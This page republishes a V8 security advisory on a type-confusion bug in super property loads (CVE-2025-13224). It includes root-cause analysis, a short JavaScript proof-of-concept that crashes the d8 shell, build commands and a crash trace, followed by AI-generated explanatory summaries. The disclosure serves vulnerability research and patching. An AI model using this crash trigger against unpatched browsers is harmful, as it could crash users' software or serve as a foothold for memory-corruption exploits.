Skip to content
Memory corruption Advisory Advanced CVE-2025-13224

Type Confusion in V8 (CVE-2025-13224)

A type confusion bug in V8's handling of super property loads lets an accessor be invoked with a primitive receiver instead of an object. An attacker could trigger a crash, and the report notes a segmentation fault in release builds.

Google Big Sleep Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 40 days

We are tracking this issue with the public ID BIGSLEEP-450458037. Please use this identifier for reference in any future communication.

Vulnerability Details

There is a type confusion bug in the handling of super property loads with accessors.

The function CodeStubAssembler::CallGetterIfAccessor [1] is used for example by ICs to invoke a getter function for a property. One of its parameters, expected_receiver_mode, indicates if the function can assume the receiver to be a JSReceiver or if it may need to perform a ToObject conversion. By default, the value is kExpectingJSReceiver [2] and so the function will assume that the receiver is always a JSReceiver instance. As such, all callers to this function that don’t pass this parameter need to guarantee that this is the case.

One place where this goes wrong is in the handling of super property accesses, specifically in the LoadSuperIC [3]. Here, the (generic) property lookup will not be performed starting from the receiver, but instead start at the lookup_start_object [4], which will be the prototype of the instance type of the current class. However, in case of an accessor function, the accessor will be invoked with the actual receiver [5]. As such, it becomes possible for the lookup to find and invoke an accessor function with an invalid receiver (e.g. a Smi).

The below testcase demonstrates this and causes a DCHECK failure in debug builds and a segmentation fault in release builds.

[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/code-stub-assembler.cc;l=12166;drc=693f06700fd9b978f690957cde985a98463a0d87
[2] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/code-stub-assembler.h;l=4651;drc=693f06700fd9b978f690957cde985a98463a0d87
[3] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/accessor-assembler.cc;l=3404;drc=693f06700fd9b978f690957cde985a98463a0d87
[4] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/accessor-assembler.cc;l=3415;drc=693f06700fd9b978f690957cde985a98463a0d87
[5] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/code-stub-assembler.cc;l=12223;drc=693f06700fd9b978f690957cde985a98463a0d87

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (commit 1370b0bd0727045ac742c2a8bec77ccb3fdcc105)
  • in stable release 14.1.146.11 (commit ad8af0fc661d278e87627fcaa3a7cf795ee80dd8)

Reproduction

Test Case

JavaScript
// Create an Error instance. Error instances have an own property 'stack'
// which is an accessor backed by a FunctionTemplateInfo (API accessor).
const err = new Error();

class B {
  m() {
    // Access 'stack' via super.
    // The lookup starts at the prototype of B.prototype.
    return super.stack;
  }
}

// Set the prototype of B.prototype to the Error instance.
// Now, the super lookup will start at 'err'.
Object.setPrototypeOf(B.prototype, err);

const b = new B();

// Call the method m with a primitive receiver.
// This triggers LoadSuperIC and ultimately calls CallGetterIfAccessor with a
// Smi as receiver and the default kExpectingJSReceiver mode.
b.m.call(0x4141414 >> 1);

Build Instructions

Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:

gm.py x64.debug

Command

./out/x64.debug/d8 crash.js

ASan Report

#
# Fatal error in ../../src/objects/object-type.cc, line 87
# Type cast failed in CAST(receiver) at ../../src/codegen/code-stub-assembler.cc:12223
  Expected JSReceiver but found Smi: 0x20a0a0a (34212362)
#
#
#
#FailureMessage Object: 0x7b8dd8b89060
==== C stack trace ===============================
    ./out/x64.debug/d8(___interceptor_backtrace+0x46) [0x55806b2944c6]
    v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f8df467192e]
    v8/v8/out/x64.debug/libv8_libplatform.so(+0x7e0fb) [0x7f8ddc7ba0fb]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2e2) [0x7f8df4617052]
    v8/v8/out/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x10ed5) [0x7f8dea2bfc85]
    [0x7b8d7c8e911d]

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-01-07. For more information, visit https://goo.gle/bigsleep

The original report as published on the Chromium issue tracker, by Google Big Sleep. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the super property load path starts its lookup from a different object than the receiver but still calls the accessor with the original receiver, without checking that the receiver is an object.

Impact

The bug causes a DCHECK failure in debug builds and a segmentation fault in release builds; the report does not demonstrate code execution.

What the attacker needed

Ability to run JavaScript in V8

How it was found

  1. Create an Error instance, which has an accessor property named stack.
  2. Define a class method that reads that property through super.
  3. Set the prototype of the class prototype to the Error instance so the super lookup starts there.
  4. Call the method with a primitive number as the receiver, which triggers the type confusion and a crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

JavaScript engines like V8 store objects in memory and expect certain values to be of a particular kind. Here, code that reads a property through 'super' could hand a plain number to a function that only knows how to work with objects, so the engine misreads memory. The result is a crash, which in the worst case could be turned into something more serious.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Google Big Sleep

View all

19 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.